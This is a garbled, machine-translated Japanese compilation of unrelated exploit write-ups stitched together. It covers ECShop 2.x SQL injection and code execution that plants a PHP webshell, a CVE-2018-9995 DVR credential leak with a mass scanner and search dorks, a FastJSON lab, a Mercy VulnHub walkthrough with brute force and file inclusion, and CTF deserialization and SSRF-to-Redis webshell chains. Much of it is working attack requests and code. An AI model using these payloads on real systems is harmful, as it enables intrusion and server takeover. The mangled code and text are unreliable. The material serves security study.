
最初の文字が$ -get_val関数の場合に$を入力します

“ecshop2.x代码执行”

私たち$ valはそうではありません。 $は再度make_var関数に入ります

“ecshop2.x代码执行”

最後に、変数から脱出するために単一の引用がここに紹介されています

“ecshop2.x代码执行”

_varを閉じたいので、最終的なペイロードは

{$ asd ']; assert(base64_decode(' zmlszv9wdxrfy29udgvudhmojzeudhh0jywnz2v0c2hlbgwnkq=='); //} xxx

1.TXTは、Webサイトとディレクトリで生成されます。

“ecshop2.x代码执行”

getShell exp:

get /user.php?act=login http /1.1

host: 127.0.0.1

user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1

参考文献: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:33: {s:33:'Num '; S:280:'*/ユニオン選択1,0x272F2A、3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536 345F6465636F646528275A6D6C735A56397764585266593239756447567564484D 6F4A7A4575634768774A79776E50443977777614841675A585A686243676B5831425 0553152624D544D7A4E3130704F79412F506963702729293B2FF2F7D787878,10- - '; s:2:'id'; s: ''/*';}

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

1.PHPパスワードはWebサイトルートディレクトリで生成されます:1337

0x02脆弱性の再発

1.SQL注入繁殖

1。URL接続アドレスを開く:

http://192.168.1.9/user.php?action=login

2.パケットキャプチャを渡し、ブランズーツまたはフィドラーを介してインターセプトし、参照フィールドをHTTPヘッダーに追加してPCOを追加し、ここでSQLインジェクションをテストするためにPCを追加します。

3。ペイロード:

get /user.php?act=login http /1.1

HOST: 192.168.1.9

user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1

Referer: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:3: {S:3:'NUM '; S:72:'0,1手順分析(ExtractValue(rand()、concat(0x7e、version())、1)---- '; s33602:'id'; i:1;}

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

1tsjmggzhat8757.jpg

1mpwziuywok8758.jpg

2。コード実行シェルの再現を書き込み

1。URL接続アドレスを開きます。

http://192.168.1.9/user.php?action=login

2.パケットキャプチャをパスし、ブルンスーツまたはフィドラーを介してインターセプトし、参照フィールドをHTTPヘッダーに追加してPCOを追加し、シェルPOCにテストを追加します

3。ペイロード:

get /user.php?act=login http /1.1

host: 127.0.0.1

user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1

参考文献: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:33: {s:33:'Num '; S:280:'*/ユニオン選択1,0x272F2A、3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536 345F6465636F646528275A6D6C735A56397764585266593239756447567564484D 6F4A7A4575634768774A79776E50443977777614841675A585A686243676B5831425 0553152624D544D7A4E3130704F79412F506963702729293B2FF2F7D787878,10- - '; s:2:'id'; s: ''/*';}

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

ここの16進数は、文字列に変換できることに注意してください。

0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a45 75634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d78788

弦:

{$ asd ']; assert(base64_decode(' zmlszv9wdxrfy29udgvudhmojzeucghwjywnpd9wahagzzzzhbcgkx1bpu1rbmtmzn10poya/picp '); ///} xxx

base64復号化:

zmlszv9wdxrfy29udgvudhmojzeucghwjywnpd9wahagzxzhbcgkx1bpu1rbmtmzn10poya/picp ---

file_put_contents( '1.php'、 '?php eval($ _ post [1337]);')

2npobqt2e008759.jpg

0yizs4dkyxb8760.jpg

0x03脆弱性の影響

ECSHOP 2.XECSHOP 3.6

0x04修理提案

一時的な処理方法は、include/lib_insert.phpファイルの関連する脆弱性のコードを変更し、データを整数に変換するように強制します。 intValの制限は、$ arr [id]および$ arr [num]の前に追加されます。変更する必要がある場所は次のとおりです。

y2al2t0k3ke8761.jpg

ECShop 3.6.0は上記の脆弱性を修正したため、できるだけ早く最新バージョン3.6.0に更新することをお勧めします

0x05参照リンク

http://RINGK3Y.COM/2018/08/31/ECSHOP2-X%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C

0x06付録

脆弱性を確認するためのPythonスクリプト:

#!/usr/bin/python

#Coding: UTF-8

要求をreqとしてインポートします

def run(url):

'http'がurl:ではない場合

url='http://' + url

url=url + '/user.php?act=login'

URLを印刷、

Headers={'Referer':'554FCAE493E564EE0DC75BDF2EBF94CAADS | A:3: {S:'NUM'; S:161 \ \

: '*/Union Select 1,0x272F2A、3,4,5,6,7,8,0x7B247B24686F6D65275D3B61737365727428626173 \

6536345F6465636F646528276347687776157356D627967704F773D3D272929293B2FF2F7D7D、10 ---- '; S: \

2:'id '; s:' \ '/*'; s:43360'name '; s:'ads';}

try:

res=req.get(url、headers=headers、timeout=8)

例外を除き、E:

印刷e

return '---- vuln no vuln'

content=res.content

コンテンツ:の「disable_functions」の場合

return '---- vulnを持っている!」

else:

return '---- vuln no vuln'

__name__=='__main __' :の場合

sysをインポートします

url=sys.argv [1]

プリントラン(URL)

###脆弱性の説明

この脆弱性により、攻撃者は「Cookie: uid=admin」を変更して、このデバイスのplantext管理者資格情報を返すことにより、特定のDVRのコントロールパネルにアクセスできます。

###脆弱性の悪用

1.Uuse code

Curl 'http://:/device.rsp?opt=usercmd=list' -h 'cookie: uid=admin'

2.POC利用

https://github.com/ezelf/cve-2018-9995_dvr_credentials

git clone https://github.com/ezelf/cve-2018-9995_dvr_credentials.git

CD CVE-2018-9995_DVR_CREDENTIALS

PIPインストール-R要件。txt

byjuhurtit39022.png

roreffqxbmf9023.png

###キーワード検索

1。Zoomye:KeyWord: "/login.rsp '

ml23vf2ib5y9024.png

2.Shodan:KeyWord:HTML: '/login.rsp'

keyword:'server:gnu rsp/1.0 '

iekdogs3dqm9025.png

vuig5usnmr19026.png

3.GOOGLE:KEYWORD:INTITLE:'DVR LOGIN '

azoq1zh50af9027.png

###バッチ検証

DVRシリーズカメラバッチ検出方法3:python CVE-2018-9995_Check.py HOST.TXT

host.txtの内容は、8.8.8.8:8080またはwww.baidu.comです。スクリプトが実行されると、DVRシリーズカメラを使用してホストがresult.txtファイルに保存されます。

#著者3360hzkey

TPとしてテーブルプリントをインポートします

sysをインポートします

リクエストをインポートします

Reをインポートします

クラスColors:

green='\ 033 [32m'

red='\ 033 [0; 31m'

blue='\ 033 [*]'

orange='\ 033 [33m'

def check_host(host):

try:

print(colors.orange+'チェック:%s'%ホスト)

url='http://' + host + '/login.rsp'

rr=requests.get(url、timeout=30、aopt_redirects=false)

rr.status_code==200およびre.findall( 'gnu rsp/1.0'、rr.headers ['server']):の場合

print(Colors.Green+'[*] CVE-2018-9995検出:URLは%S'%URLです)

ff=open( 'result.txt'、 'a+')

ff.write( '%s \ n'%(url))

:を除く

合格

__name__=='__main __' :の場合

Len(Sys.Argv)2:の場合

print(colors.blue+'' 'usage: python3 cve-2018-9995.py host.txt

host.txt:127.0.0.133608080またはbaidu.com

'' ')

Len(Sys.Argv)=2:の場合

file=open(sys.argv [1])

file:のiの場合

i=i.strip()

check_host(i)

file.close()

tnopgm1udzc9028.png

FastJSONフルバージョンDockerの脆弱性環境(バージョン1.2.47/1.2.68/1.2.80などをカバー)、主にJNDIインジェクション、WAFバイパス、ファイルの読み取りと書き込み、脱3、チェーン検出バイパス、およびネットワーク外の利用を含みます。シナリオをブラックボックステストに設定し、Black Boxの観点からFastJsonの深い利用のプロセス全体をカバーします。一部の環境は、JARパッケージで逆コンパイルおよび分析する必要があります。

Docker環境

Dockerは-Dを構成します

Docker Pull環境が遅い場合は、国内のミラーリングを使用してみてください

https://www.runoob.com/docker/docker-mirror-acceleration.html

環境が開始されたら、対応するIPポート80にアクセスします。

1049983-20240102232717449-1783234989.jpg

Fastjsonのいくつかの一般的な脆弱性エクスプロイトの概要。これは食品で使用できます:FastJSONフルバージョンの検出と利用-POC

使用後に環境を破壊してください。そうしないと、競合する可能性があります:Dockerが落ち着く

撮影範囲の順序を整理する:(使用率の特性に応じて3つのカテゴリに分割)

FASTJSON 1.2.47

1247-jndi

1247-jndi-waf

1247-WAF-C3P0

1245-JDK8U342

FASTJSON 1.2.68

1268-readfile

1268-jkd11-writefile

1268-JDK8-WRITEFILE

1268-writefile-jsp

1268-writefile-no-network

1268-JDBC

1268別の記事を使用してファイルを書き込みます。これは、fastjson1268の書き込みファイルRCE研究と併用できます

FASTJSON 1.2.80

1280-groovy

1283-Serialize

各マシンのルートディレクトリに隠されたフラグファイルがあります。それを取得してみてください!

一部の環境はまだ与えられておらず、しばらくの間それらをリリースすることを計画しています。また、WPと提案を提出することも歓迎します。

ドック環境:https://github.com/lemono0/fastjsonparty

0x01はじめに

Mercyは、PWKコースの安全性に特化したターゲットマシンシステムです。 Mercyは、脆弱なターゲットの名前とは何の関係もないゲーム名です。この実験は、ターゲットマシンを攻撃してルートアクセス許可を取得し、システムディレクトリのproof.txt情報を読むことです。

ターゲットマシンのアドレスをダウンロードしてください:

https://drive.google.com/uc?id=1yzsw1lckjo_wer6pk511dxqbfymmr14yexport=ダウンロード(ダウンロード画像のmercy.mfのsha256値が正しいかどうかを確認するために注意してください)

0x02情報収集

1.生き残った宿主をスカン

root@kali2018:〜#arp-scan -l

je4uikan4h48530.jpg

発見された192.168.1.12は、ターゲットマシンシステムです

2.ポートスキャン

NAMP経由のターゲットマシンのポートスキャン

root@kali2018:〜#nmap -a192.168.1.12

2019-02-12 09:55 ESTでNMAP 7.70(https://nmap.org)を開始

192.168.1.12のNMAPスキャンレポート

ホストはアップ(0.00091Sレイテンシ)です。

表示されていません: 990閉じたポート

Port Stateserviceバージョン

22/TCPフィルタリングSSH

53/TCPオペンドメインISCバインド9.9.5-3UBUNTU0.17(Ubuntu Linux)

| DNS-NSID:

| _ bind.version: 9.9.5-3ubuntu0.17-ubuntu

80/TCPフィルタリングHTTP

110/TCP OpenPop3?

139/tcp opennetbios -ssn samba smbd 3.x -4.x(workgroup: workgroup)

143/TCP OpenImap dovecot IMAPD

| _SSL-DATE: TLSランダム性は時間を表しません

445/tcp opennetbios-ssn samba smbd 4.3.11-ubuntu(workgroup: workgroup)

993/TCP OpenSSL/IMAP DOVECOT IMAPD

| _imap-capabilities:機能

| SSL-CERT: subject: commonname=localhost/organizationname=dovecotメールサーバー

| : 2018-08-24T1:22:55以前は無効です

| _NOT有効なAfter: 2028-08-23T13:22:55

| _SSL-DATE: TLSランダム性は時間を表しません

995/TCP OpenSSL/POP3S?

| SSL-CERT: subject: commonname=localhost/organizationname=dovecotメールサーバー

| : 2018-08-24T1:22:55以前は無効です

| _NOT有効なAfter: 2028-08-23T13:22:55

| _SSL-DATE: TLSランダム性は時間を表しません

8080/TCP Open HTTP Apache Tomcat/Coyote JSP Engine 1.1

| http-methods:

| _潜在的に危険な方法: deleteを入れます

| _http-open-proxy:プロキシはリクエストをリダイレクトしている可能性があります

| _http-server-header: apache-coyote/1.1

| _http-title: apache tomcat

MACアドレス: 00:0C:29:91:A0:C6(VMware)

デバイスタイプ:汎用

running: linux 3.x | 4.x

OS CPE: CPE:/O:LINUX:LINUX_KERNEL3:3 CPE:/O:LINUX33:LINUX_KERNEL:4

OS詳細: Linux 3.2-4.9

ネットワーク距離: 1ホップ

サービスinfo: host: mercy; OS: Linux; CPE: CPE:/O:LINUX:LINUX_KERNEL

ホストスクリプト結果:

| _Clock -Skew:平均: -2H39M59S、偏差: 4H37M07S、MEDIA: 0S

| _NBSTAT: NETBIOS NAME: Mercy、NetBios User:不明、NetBios MAC:不明(不明)

| SMB-OS-Discovery:

| OS: Windows 6.1(Samba 4.3.11-Ubuntu)

|コンピューター名:慈悲

| NetBios Computer Name: Mercy \ X00

|ドメイン名: \ x00

| fqdn: mercy

| _システム時間: 2019-02-12T22336057336054+08:00

| SMB-Security-Mode:

| account_used:ゲスト

| Authentication_Level:ユーザー

| Challenge_response:サポート

| _ message_singing:無効(危険ですがデフォルト)

| SMB2-Security-Mode:

| 2.02:

| _署名が有効になっていますが、必須ではありません

| SMB2-TIME:

|日付: 2019-02-12 09:57:54

| _ start_date: n/a

Traceroute

ホップRTTアドレス

1 0.91 MS 192.168.1.12

OSとサービスの検出が実行されました。間違っていることを報告してください

ターゲットポート445、8080、およびその他のポートが開いていることがわかりました。 22、80などのその他は、ファイアウォールによってブロックされました。その中で、Sambaサービスが開かれました(これはこの記事の重要な浸透ターゲットです)

0x03脆弱性のエクスプロイト

いずれにせよ、私たちが攻撃するアプリケーションの最初のターゲットはapacheです

Tomcat(http://192.168.1.1233608080/)

nzaix1ayhc08531.jpg

Tomcatのバックグラウンド管理ページにアクセスしてみてください。ただし、ログインする前に正しいユーザー名とパスワードを入力する必要があります。あらゆる種類の既知の情報を入力してみてください。ユーザーの構成情報は/etc/tomcat7/tomcat-users.xmlにあることに注意してください。

1.Samba脆弱性攻撃

SMBClientコマンドを使用して、ターゲットマシンで利用可能なSambaサービス共有名をリストします。

root@kali2018:〜#smbclient -nl 192.168.1.12

2dtwqhdupbi8532.jpg

上の写真から共有されたもののいくつかの名前を見ることができます。共有ディレクトリは下のローカルエリアに取り付けられますが、ターゲットシェアにはアクセスが許可されていません。ここではID認証が必要です。

root@kali2018:〜#mkdir /mnt /file

root@kali2018:〜#mount -tcifs 192.168.1.12:/QIU/MNT/ファイル

bemjy2ewkl58533.jpg

2.ENUM4LINUX ENUM SAMBAアカウント

root@kali2018:〜#enum4linux -u -o 192.168.1.12

zf1sz55fj0o8534.jpg

列挙されたアカウント(QIUとPlaidformercy)をmercy.txtに追加し、アカウントを爆破しましょう。

3.SambaアカウントBLAST

root@kali2018:〜#hydra -l mercy.txt -p/usr/share/wordlists/fasttrack.txt smb: //192.168.1.12:139

53cwmswvyf38535.jpg

正常に爆発したアカウントが空であることがわかります。

4.マウントコマンドマウントディレクトリ

root@kali2018:〜#mount -t cifs //192.168.1.12:/QIU/MNT/FILE -O USERNAME=QIU

04z2pqwobzx8536.jpg

マウントディレクトリにファイル情報をリストします

lbowz055fxt8537.jpg

5.プライベートディレクトリ情報コレクション

discovery.privateディレクトリは、いくつかの重要なシステム情報を提供します

root@kali2018:〜#cd/mnt/file/

root@kali2018:/mnt/file#cd .private

root@kali2018:/mnt/file/.private# ls

opensame readme.txtsecrets

root@kali2018:/mnt/file/.private# cd opensame/

root@kali2018:/mnt/file/.private/opensesame# ls

config configPrint

root@kali2018:/mnt/file/.private/opensesame# head -30 config

ここに閲覧の設定があります。

ポートノックデーモン構成

[オプション]

outesyslog

[openhttp]

シーケンス=159,27391,4

seq_timeout=100

command=/sbin /iptables -i input -s%ip%-p tcp - dport 80 -j eccept

tcpflags=syn

[closehttp]

シーケンス=4,27391,159

seq_timeout=100

command=/sbin /iptables -d input -s%ip%-p tcp - dport 80 -j eccept

tcpflags=syn

[openssh]

シーケンス=17301,28504,9999

seq_timeout=100

command=/sbin /iptables -i input -s%ip%-p tcp - d -port22 -j eccept

tcpflags=syn

[Closessh]

シーケンス=9999,28504,17301

seq_timeout=100

command=/sbin /iptables -d input -s%ip%-p tcp - dport22 -j eccept

tcpflags=syn

nshzzwydc1f8538.jpg

上記は、ポートスタートアップデーモンのポートのファイアウォールポート開口部のコマンド構成を示しています。

6。ターゲットマシンファイアウォールポートを開きます

HTTP用の2つのセット、1つはSSH用のシーケンスを参照してください。

(1)HTTPシーケンススクリプト:kncok.sh

#!/bin/bash

159 27391 4のポートの場合4; do nmap -pn 192.168.1.12 -p $ port;

終わり

13digatxjbj8539.jpg

(2)SSHシーケンススクリプト:kncok1.sh

#!/bin/bash

17301年のポート28504 9999; do nmap -pn 192.168.1.12 -p $ port;

終わり

d120s24wjs48540.jpg

(3)HTTPポートルート@kali2018:〜#./knoch.shをシーケンススクリプトから開く

2019-02-12 12:50 ESTでNMAP 7.70(https://NMAP.org)を開始

192.168.1.12のNMAPスキャンレポート

ホストはアップ(0.00044Sレイテンシ)です。

Port Stateservice

159/TCPはNSSルーティングを閉じました

MACアドレス: 00:0C:29:91:A0:C6(VMware)

nmap done: 1 0.24秒でスキャンされたIPアドレス(1ホストアップ)

2019-02-12 12:50 ESTでNMAP 7.70(https://NMAP.org)を開始

192.168.1.12のNMAPスキャンレポート

ホストはアップ(0.00053Sレイテンシ)です。

ポートステートサービス

27391/TCPは不明を閉じました

MACアドレス: 00:0C:29:91:A0:C6(VMware)

nmap done: 1 0.23秒でスキャンされたIPアドレス(1ホストアップ)

2019-02-12 12:50 ESTでNMAP 7.70(https://NMAP.org)を開始

192.168.1.12のNMAPスキャンレポート

ホストはアップ(0.00042Sレイテンシ)です。

Port Stateservice

4/TCPは不明を閉じました

MACアドレス: 00:0C:29:91:A0:C6(VMware)

NMAP DONE: 1 IPアドレス(1ホストアップ)0.22秒でスキャン

0hbceqbb04c8541.jpg

(4)SSHポートルート@kali2018:〜#./knoch1.shをシーケンススクリプトから開く

2019-02-12 12336058 ESTでNMAP 7.70(https://nmap.org)を開始

192.168.1.12のNMAPスキャンレポート

ホストはアップ(0.00049Sレイテンシ)です。

Port Stateservice

17301/TCP閉鎖不明

MACアドレス: 00:0C:29:91:A0:C6(VMware)

NMAP DONE: 1 IPアドレス(1ホストアップ)0.26秒でスキャン

2019-02-12 12336058 ESTでNMAP 7.70(https://nmap.org)を開始

192.168.1.12のNMAPスキャンレポート

ホストはアップ(0.00042Sレイテンシ)です。

Port Stateservice

28504/TCPは不明を閉じました

MACアドレス: 00:0C:29:91:A0:C6(VMware)

nmap done: 1 0.28秒でスキャンされたIPアドレス(1ホストアップ)

2019-02-12 12336058 ESTでNMAP 7.70(https://nmap.org)を開始

192.168.1.12のNMAPスキャンレポート

ホストはアップ(0.00031Sレイテンシ)です。

Port Stateservice

9999/TCP閉じたアビス

MACアドレス: 00:0C:29:91:A0:C6(VMware)

nmap done: 1 0.27秒でスキャンされたIPアドレス(1ホストアップ)

i2wuvxwygpx8542.jpg

上記のコマンドはポート80と22を開設し、現在80ポートWebサイトがKaliシステムの下で開かれています。

4qxv2yrcsxh8543.jpg

7。ディレクトリスキャン

ターゲットマシンシステムポート80ウェブサイトをディレクトリツールDIRBを介してスキャンし、robots.txtファイルが存在することを発見しました

root@kali2018:〜#dirb http://192.168.1.12

yldy2ckd0nh8544.jpg

robots.txtの接続アドレスを開き、興味深いディレクトリ /Omercyを見つけます

zwyidyirold8545.jpg

このディレクトリウェブサイトを開くと、RIPS 0.53バージョンが存在することがわかります

qq3hnvec20t8546.jpg

8. rips脆弱性コレクション

EDB-ID18660によると、RIPS 0.53はローカルファイル包含(LFI)の脆弱性の影響を受けやすくなっています。 (RIPS 0.53 LFI)

Exploit-DBで0.53の脆弱性を検索します。

https://www.exploit-db.com/exploits/18660

jbnlnrsgfcj8547.jpg

そのPOCは:です

http://LocalHost/rips/windows/code.php?file=././././././etc/passwd

ローカルファイルには、ターゲットマシン /etc /passwdを読み取る情報を含めることができます。

vgsv3m5rtqe8548.jpg

9.Tomcatは再び侵入します

ローカルには、Tomを介してLipsのLFI脆弱性を介して含まれています

easypop

問題環境はPHP 7.4なので、すべての属性タイプをパブリックに直接変更できます

出発点は、Show Classの__toString()メソッドのこのヒントで呼び出されるRecho $によって呼び出され、$ this-ctf-show()を実行してsecret_codeクラスの__call()にジャンプし、ショー()メソッドにアクセスして、ショー()にジャンプします。 $ name()を介したファインクラスの__invoke()

ポップチェーンは次のように構築されています

?php

クラスはうまくいきます

{

public $ cmd;

public $ content;

}

クラスショー

{

public $ ctf;

public $ time;

}

クラスごめんなさい

{

public $ name;

public $ password;

public $ hint;

public $ key;

}

クラスSecret_Code

{

public $ code;

}

$ e=new Fine();

$ e-cmd='system';

$ e-content='cat /flag';

$ d=new Sorry();

$ d-key=$ e;

$ c=new Secret_code();

$ c-code=$ d;

$ b=new Show();

$ b-ctf=$ c;

$ a=new Sorry();

$ a-name='123';

$ a-password='123';

$ a-hint=$ b;

echo serialize($ a);

最後に数を変更し、__wakeupをバイパスします

http://F9EAC3ED-9425-4FE7-A009-AAD41F9DB212.NODE4.BUUOJ.CN3:81/?POP=O:5:'SORRY':43: {S:4:'Name :'123 '; s:8:'password'; s:'hint '; o:4:'show'33602: {s:33:'ctf'; o:110'sc ret_code':1: {s:4:'code '; o:5:'sorry':4: {s:4:'name'; n; n; n; n; n; n; n; n; n; n; n; n; n; n; hint '; n; s:3360'key'; o:4:'fine': {s: 'cmd'; s:63360'system '; s:73360'content'; s:933:'cat /flag ';}}} s:43360'time'; n;} s3360:'key '; n;}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231752647.png

hade_waibo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231753442.png

CanCanは任意のファイルを読む必要があります

http://745B93EE-B378-4803-B84E-52F9E7B78D2A.NODE4.BUUOJ.CN:81/file.php?m=showfileName=file.php

file.php

..

?php

error_reporting(0);

session_start();

「class.php」を含める;

if($ _ session ['islogin']!==true){

die( 'scriptalert(' login for for for for for for for als '); location.href=' index.php '/script');

}

$ form='

form action='file.php?m=upload' method='post' enctype='multipart/form-data'

入力型='ファイル' name='file'

ボタンclass='mini ui button' font style='vertical-align: enternit;' font style='vertical-align: enternit;'

提出する

/font/font/button

/形状';

$ file=new file();

switch($ _get ['m']){

ケース「アップロード」:

if(empty($ _ files)){die($ form);}

$ type=end(Explode( '。'、$ _files ['file'] ['name']));

if($ file-check($ type)){

die($ file-upload($ type));

}それ以外{

die( 'オイルケーキを食べますか');

}

壊す;

ケース 'show ':

die($ file-show($ _ get ['filename']));

壊す;

ケース 'RM':

$ file-rmfile();

die( 'すべて削除されてピンチ');

壊す;

ケース 'logout':

session_destroy();

die( 'scriptalert(' logined out '); location.href=' index.php '/script');

壊す;

default:

エコー 'h2halo! '。$ _セッション[' username ']。'/h2 ';

壊す;

}

..

class.php

「?php

クラスユーザー

{

public $ username;

パブリック関数__construct($ username){

$ this-username=$ username;

$ _SESSION ['ISLOGIN']=true;

$ _Session ['username']=$ username;

}

public function __wakeup(){

$ cklen=strlen($ _ session ['username']);

if($ cklen!=0および$ cklen=6){

$ this-username=$ _session ['username'];

}

}

パブリック関数__destruct(){

if($ this-username==''){

session_destroy();

}

}

}

クラスファイル

{

#ブラックリストをホワイトリストにアップデートして、より安全にします

public $ white=array( 'jpg'、 'png');

パブリック機能ショー($ filename){

echo 'div class=' ui action input'input type='text' id='filename' placeholder='button class=' ui button 'onclick=' window.location.href=\ 'file.php?m=showfilename=\'+document.getelementbyid(\ 'filename \')

if(empty($ filename)){die();}

return 'img src=' data:image /png; base64、 '。base64_encode(file_get_contents($ filename))。' ' /';

}

パブリック関数アップロード($タイプ){

$ filename='dasctf'.md5(time()。$ _ files [' file '] [' name '])。'。$ type ';

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'。$ filename);

'return'アップロードの成功! path: upload/'。 $ filename;

}

パブリック関数rmfile(){

system( 'rm -rf/var/www/html/upload/*');

}

パブリック関数チェック($タイプ){

if(!in_array($ type、$ this-white)){

falseを返します。

}

trueを返します。

}

}

#悪意のある興味深いテストクラスを使用しました

クラステスト

{

public $ value;

パブリック関数__destruct(){

chdir( './upload');

$ this-backdoor();

}

public function __wakeup(){

$ this-value='do n't make dream.wake up plz!';

}

パブリック関数__toString(){

$ file=substr($ _ get ['file']、0,3);

file_put_contents($ file、 'hack by $ file!');

届かないことを返してください!) ';

}

public function backdoor(){

if(preg_match( '/[a-za-z0-9?$@]+/'、$ this-value)){

$ this-value='nono〜';

}

System($ this-value);

}

}

テストのクラスを使用できます。私が最初に考えるのは、ファーゼリア化です

.executedコマンドを使用して、通常をバイパスできます

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231758660.png

アイデアは、ファーファイルを最初にアップロードしてから、実行するコマンドを含むJPGをアップロードすることです

JPGの名前はPhARの前にある必要があることに注意してください。たとえば、PhARの名前はdasctfe4.jpgであり、コマンドを含むJPGの名前はdasctfc2.jpgまたはdasctf01.jpgでなければなりません(ASCIIコードは小さくなります)

しかし、試してみると、ウェイクアップをバイパスすることは良くないように見えることがわかりました.

それから、EasyLoveの質問をしていたとき、ルートディレクトリにstart.sh展開スクリプトがあったことを思い出しました。質問の説明に基づいて、 /ディレクトリの下のファイルのtips:flagなので、start.shを直接読んでください。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231801987.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231803463.png

flagを取得するために /ghjsdk_f149_h3re_asdasfcを読み取ります

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804991.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804073.png

easylove

タイトルに記載されているRedisによると、SSRF + Redisを介して逃げることであると推測されます

$ this-love=new $ this-wllm($ this-arsenetang、$ this-l61q4cheng);この文は明らかに、特定のクラスを通じてSSRFを実行することです。

私たちが知っているように、Redisプロトコルは非常にゆるく、HTTPの使用をサポートしてパケットを送信しますが、PHPのネイティブのSoapClientクラスはHTTPを送信できます

次のようにペイロード

?php

クラスSWPU {

public $ wllm;

public $ arseneng;

public $ l61q4cheng;

公開$愛。

}

$ a=new Swpu();

$ a-wllm='soapclient';

$ a-areNetang=null;

$ target='http://127.0.0.133606379/';

$ poc='flushall \ r \ nconfig set dir/var/www/html/\ r \ nconfig set dbfilename shell.php \ r \ nset xzxzxz'?=eval(\ $ _ request [1])? '\ r \ nsave';

$ a-l61q4cheng=array( 'location'=$ターゲット、 'uri'='hello \ r \ n'。$ poc。 '\ r \ nhello');

echo urlencode(serialize($ a));

トライアル中に立ち往生してください(通常の現象)、shell.phpに訪問することも404を示しています

だから、Redisには認証があるかもしれないと思いました。質問のヒントクラスを読み、file_get_contents()を介してhint.phpのコンテンツを取得しました。

エコーなしでヒントを直接ゆるくします。その結果、file_get_contents()+ gopherを試してみたいとき、偶然hint.phpを読みました。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231829355.png

?php

クラスヒント{

public $ hint;

}

$ a=new Hint();

$ a-hint='Gopher: //127.0.0.133606379/_%2A1%0D%0A%248%0D%0AFLUSULL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241% 0A1%0D%0A%2422%0D%0A%0A%0A%3C%3FPHP%20PHPINFO%28%29%3B%3F%3E%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D% 0A%243%0D%0ASET%0D%0A%243%0D%0ADIR%0D%0A%2413%0D%0A/VAR/WWW/HTML%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%2 43%0D%0ASET%0D%0A%2410%0D%0ADBFILENAME%0D%0A%249%0D%0ASHELL.PHP%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A%0A ';

echo serialize($ a);

http://0021BFDB-5D2B-42FF-9505-49D23C4AA0E2.NODE4.BUUOJ.CN:81/?HEL LO=O:4:'hint':1: {s33604:'hint '; s:404:'go PHER: //127.0.0.133606379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3 %0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2422%0A%0A%0A%3C%3FPHP% 20phpinfo%28%29%3b%3f%3e%0a%0a%0d%0a%2a4%0d%0a%246%0d%0aconfig%0d%0a %243%0D%0ASET%0D%0A%243%0D%0ADIR%0D%0A%2413%0D%0A/VAR/WWW/HTML%0D%0A% 2A4%0D%0A%246%0D%0ACONFIG%0A%0A%243%0D%0ASET%0D%0A%2410%0D%0ADBFILENAME%0D%0A%249%

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231830188.png

20220311はRedisのパスワードです

したがって、最終的なペイロードは次のとおりです

?php

クラスSWPU {

public $ wllm;

public $ arseneng;

public $ l61q4cheng;

公開$愛。

}

$ a=new Swpu();

$ a-wllm='soapclient';

$ a-areNetang=null;

$ target='http://127.0.0.133606379/';

$ poc='auth 20220311 \ r \ nflushall \ r \ nconfig set dir/var/www/html/\ r \ nconfig set dbfilename shell.php \ r \ nset

web

タイトル:Sanic's Revenge

問題解決手順

最初に、与えられた添付ファイル:を参照してください

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ここのソースコードは、管理者によって削除されたようです。私はそれに隠された大きな秘密があると聞いた

クラスPollute:

def __init __(self):

合格

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/*** secret *********')

async def Secret(リクエスト):

secret='**********************'

テキストを返します( '私のルート名を見つけることができますか?'+秘密)

@app.route( '/'、methods=['get'、 'post']))

